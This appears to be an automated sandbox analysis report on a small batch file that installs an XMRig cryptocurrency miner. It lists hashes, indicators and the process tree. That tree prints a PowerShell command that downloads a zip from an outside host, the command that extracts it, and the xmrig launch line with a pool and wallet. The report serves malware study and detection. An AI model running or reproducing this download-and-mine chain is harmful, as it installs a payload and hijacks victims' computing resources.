Analysis

  • max time kernel
    1796s
  • max time network
    1803s
  • platform
    windows10-1703_x64
  • resource
    win10-20230831-en
  • resource tags

    arch:x64arch:x86image:win10-20230831-enlocale:en-usos:windows10-1703-x64system
  • submitted
    13/10/2023, 19:57

General

  • Target

    tesy - Copy (8).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3192
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4504
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2840

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          56efdb5a0f10b5eece165de4f8c9d799

          SHA1

          fa5de7ca343b018c3bfeab692545eb544c244e16

          SHA256

          6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

          SHA512

          91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          0970c64196cff5df8abb27900c7e0506

          SHA1

          7877bc4b41ab35cc73f5f151bfef12388a97ec7c

          SHA256

          55a11b225773ae3d664588ea8d0bab986409c81f7beef61d337bced010288e75

          SHA512

          69c632a7a86db8ead675cc9fcc771fe4effc67d9172c67f34695fd3465442104d0251138a700880a194c3ac3c5e1a8025360985a4a6f57224b0eb89714eb889c

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hjag2xai.ylj.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\test.zip

          Filesize

          3.2MB

          MD5

          3238c0d25d84b6f0bb645bbb29cdbf61

          SHA1

          11ae550c8a82c0793862c366b92072ad7e18befe

          SHA256

          b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

          SHA512

          d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

          Filesize

          170B

          MD5

          78657df2e34e338ff135d3dde69177bf

          SHA1

          d5048a4270b7ba599e941d26d61bfa2e8da31fce

          SHA256

          9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

          SHA512

          f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

          Filesize

          7.9MB

          MD5

          4813fa6d610e180b097eae0ce636d2aa

          SHA1

          1e9cd17ea32af1337dd9a664431c809dd8a64d76

          SHA256

          9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

          SHA512

          5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

        • memory/1924-5-0x00007FFFADBE0000-0x00007FFFAE5CC000-memory.dmp

          Filesize

          9.9MB

        • memory/1924-6-0x0000016CCA100000-0x0000016CCA110000-memory.dmp

          Filesize

          64KB

        • memory/1924-7-0x0000016CCA100000-0x0000016CCA110000-memory.dmp

          Filesize

          64KB

        • memory/1924-10-0x0000016CE2470000-0x0000016CE24E6000-memory.dmp

          Filesize

          472KB

        • memory/1924-25-0x0000016CCA100000-0x0000016CCA110000-memory.dmp

          Filesize

          64KB

        • memory/1924-30-0x00007FFFADBE0000-0x00007FFFAE5CC000-memory.dmp

          Filesize

          9.9MB

        • memory/1924-4-0x0000016CCA110000-0x0000016CCA132000-memory.dmp

          Filesize

          136KB

        • memory/2840-128-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-134-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-171-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-170-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-169-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-168-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-103-0x0000021A9CF40000-0x0000021A9CF60000-memory.dmp

          Filesize

          128KB

        • memory/2840-104-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-105-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-106-0x0000021A9E880000-0x0000021A9E8C0000-memory.dmp

          Filesize

          256KB

        • memory/2840-107-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-108-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-109-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-110-0x0000021A9E8C0000-0x0000021A9E8E0000-memory.dmp

          Filesize

          128KB

        • memory/2840-111-0x0000021B30F50000-0x0000021B30F70000-memory.dmp

          Filesize

          128KB

        • memory/2840-112-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-113-0x0000021A9E8C0000-0x0000021A9E8E0000-memory.dmp

          Filesize

          128KB

        • memory/2840-114-0x0000021B30F50000-0x0000021B30F70000-memory.dmp

          Filesize

          128KB

        • memory/2840-115-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-116-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-117-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-118-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-119-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-120-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-121-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-122-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-123-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-124-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-125-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-126-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-127-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-167-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-129-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-130-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-131-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-132-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-133-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-166-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-135-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-136-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-137-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-138-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-139-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-140-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-141-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-142-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-143-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-144-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-145-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-146-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-147-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-148-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-149-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-150-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-151-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-152-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-153-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-154-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-155-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-156-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-157-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-158-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-159-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-160-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-161-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-162-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-163-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-164-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-165-0x00007FF6A0170000-0x00007FF6A0C73000-memory.dmp

          Filesize

          11.0MB

        • memory/3192-38-0x000001D776C00000-0x000001D776C10000-memory.dmp

          Filesize

          64KB

        • memory/3192-35-0x00007FFFADBE0000-0x00007FFFAE5CC000-memory.dmp

          Filesize

          9.9MB

        • memory/3192-36-0x000001D776C00000-0x000001D776C10000-memory.dmp

          Filesize

          64KB

        • memory/3192-89-0x000001D776D90000-0x000001D776D9A000-memory.dmp

          Filesize

          40KB

        • memory/3192-76-0x000001D776DA0000-0x000001D776DB2000-memory.dmp

          Filesize

          72KB

        • memory/3192-62-0x000001D776C00000-0x000001D776C10000-memory.dmp

          Filesize

          64KB

        • memory/3192-99-0x00007FFFADBE0000-0x00007FFFAE5CC000-memory.dmp

          Filesize

          9.9MB